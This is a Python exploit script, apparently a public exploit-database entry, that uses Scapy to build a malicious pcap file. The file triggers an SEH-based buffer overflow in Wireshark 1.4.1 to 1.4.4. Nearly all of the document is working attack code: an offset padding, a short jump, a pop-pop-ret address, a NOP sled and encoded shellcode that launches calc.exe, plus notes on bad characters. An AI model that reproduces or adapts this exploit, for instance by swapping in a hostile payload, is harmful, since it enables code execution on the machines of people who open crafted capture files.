Wireshark 1.4.1 < 1.4.4 - Local Overflow (SEH)
#!/usr/bin/env python # Vulnerable app: Wireshark 1.4.1-1.4.4 # Author: sickness # Download : # OS: Tested it on Windows XP SP2 and SP3 but it should work on every Windows with DEP off (still working on a ROP exploit) # DATE : 17.04.2011 # Fixed in latest version 1.4.5 # DO NOT FORGET TO FEEL THE PWNSAUCE WITH: http://redmine.corelan.be:8800/projects/pvefindaddr ################################################################### # Offset might change! # Watch out for other bad chars!! # Current bad chars: \x00\x0a\x0d\x09 ################################################################### # References: # https://bugs.wireshark.org/bugzilla/show_bug.cgi?id=5836 # https://bugs.wireshark.org/bugzilla/show_bug.cgi?id=5838 ################################################################### import sys from scapy.all import * #payload=calc.exe #ppr is from a non-ASLR enabled wireshark module evil = Ether(type=0x2323)/("\x41" * 1239 + "\xeb\x06\x90\x90" + "\x5D\x10\x94\x62" + "\x90" * 16 + "\x33\xc9\x83\xe9\xce\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e\x17\x22\xfd\x6a\x83\xee\xfc\xe2\xf4\xeb\xca\x74\x6a\x17\x22\x9d\xe3\xf2\x13\x2f\x0e\x9c\x70\xcd\xe1\x45\x2e\x76\x38\x03\xa9\x8f\x42\x18\x95\xb7\x4c\x26\xdd\xcc\xaa\xbb\x1e\x9c\x16\x15\x0e\xdd\xab\xd8\x2f\xfc\xad\xf5\xd2\xaf\x3d\x9c\x70\xed\xe1\x55\x1e\xfc\xba\x9c\x62\x85\xef\xd7\x56\xb7\x6b\xc7\x72\x76\x22\x0f\xa9\xa5\x4a\x16\xf1\x1e\x56\x5e\xa9\xc9\xe1\x16\xf4\xcc\x95\x26\xe2\x51\xab\xd8\x2f\xfc\xad\x2f\xc2\x88\x9e\x14\x5f\x05\x51\x6a\x06\x88\x88\x4f\xa9\xa5\x4e\x16\xf1\x9b\xe1\x1b\x69\x76\x32\x0b\x23\x2e\xe1\x13\xa9\xfc\xba\x9e\x66\xd9\x4e\x4c\x79\x9c\x33\x4d\x73\x02\x8a\x4f\x7d\xa7\xe1\x05\xc9\x7b\x37\x7d\x23\x70\xef\xae\x22\xfd\x6a\x47\x4a\xcc\xe1\x78\xa5\x02\xbf\xac\xd2\x48\xc8\x41\x4a\x5b\xff\xaa\xbf\x02\xbf\x2b\x24\x81\x60\x97\xd9\x1d\x1f\x12\x99\xba\x79\x65\x4d\x97\x6a\x44\xdd\x28\x09\x76\x4e\x9e\x44\x72\x5a\x98\x6a" + "\x90" * 4500) wrpcap("evil.pcap",evil) print "\n" print "Evil .pcap file created!" print "It's pwnsauce time!\n" |